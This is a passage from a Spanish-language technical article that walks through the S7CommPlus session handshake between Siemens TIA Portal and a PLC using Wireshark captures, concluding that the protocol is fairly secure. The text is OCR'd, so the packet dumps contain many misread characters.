Number of following Object Ids: 2
Object Id [1]: @x7@8808e53
Object Id [2]: @x7ee@ees54
¥ Object: ClsId=ClassServerSession, RelId=ObjecthullServerSession
Element Tag-Id: Start of Object (@xal)
Relation Id: ObjectNullServerSession
Class Id: ClassServerSession
Class Flags: exeeeseeal, Userl
Attribute Id: None

Attribute
Attribute
Attribute
¥ Attribute

Element Tag-Id: Attribute (@xa3)
v Item Value: ID=ServerSessionChallenge (USInt) Array[2e] = 228, 169, 162, 84, 281, 186, 89, 181, 169...
ID Number: ServerSessionChallenge
Datatype flags: @xl1@, Array

Figura 4: ServerSessionChallenge y SessionID [4]
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La siguiente fase es la llamada StructSecurityKey y se corresponden a los paquetes 36 y 38.
TIA al recibir los 20 bytes del PLC, emplea los 16 bytes centrales para calculos de la clave
publica de la sesion. Para ello utiliza complejos algoritmos criptogréficos, desde mas
sencillos como XOR, pasando por SHA-156, HMAC-SHA-256, CBC-MAC, AES-ECB y
ECC. Con esto genera datos de autenticacion que enviara al PLC. Esta informacion también

la podemos ver dentro del paquete:

M Viireshark - Packet 25 . MIM-LAE-FLC. poapng

* Data: Request Setfultivariables

Opcode: Request (@x3l)

s BaBBR

thultiverisales (HnB542)
Reserv e
Sequence numbzr: 2
Session Id: Ew7BEGECS3
t Flags: Bx34, 3itd-AlwaysSet?, Bibs-AluaysSet?, Bit5-AlwaysSet?
¥ Request Set
In Object

= 1885 [SecuritykeylD)
=Security€eySymeetrickeyID (Struct} = 1023 (SecurityeyID)
=SecurltydeyEncryptediey (Elob) = BxaddeclfzbisonpeddloconeelaneednsdlaaTraslasdta.,

[: Hone
122

(o1}
Bles rect I

[symetric key flags: 1]

Synmetric key internal flags: @)

wiilic key checksam: 173791735677629R132]

flags: 16]

dnternal Flags: @)

rdom seed: SeSbd32fordeIfolTesTageclocTdeclatabesTedTd edT.
an wector: IEduBREBeISTHISIRATEISITE1RIAE

rgei of dbbShelc 2 FIE1CLbERAIFA 30 INE Ted 0 S0 THIE14 4 6.,

= 314 (LID_Ssszioversionstruct)

Figura 5: StructSecurityKey[4]

El PLC al recibir esto, lo desencriptara con su clave privada. Si este proceso es correcto, se
lo avisara al TIA. En nuestro ejemplo, esta respuesta es la del paquete 38.A partir de este
punto, la comunicacion esta establecida y la comunicacion empieza a transportar el tréafico

generado por el programa especifico.

Como se puede intuir con todo lo visto, es bastante complejo de realizar ataques sobre este
protocolo. Esta version cumple bastante bien con su principal propdsito: la seguridad. Esto
no hace que sea imposible realizar ataques, ya que se puede realizar por otras vias y por otros
protocolos, pero una buena medida de seguridad seria solo emplear S7TComm plus en las
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comunicaciones entre los equipos de una fabrica. De este modo se reduce mucho el riesgo,

aunque nunca seria cero, seria un nivel muy aceptable.
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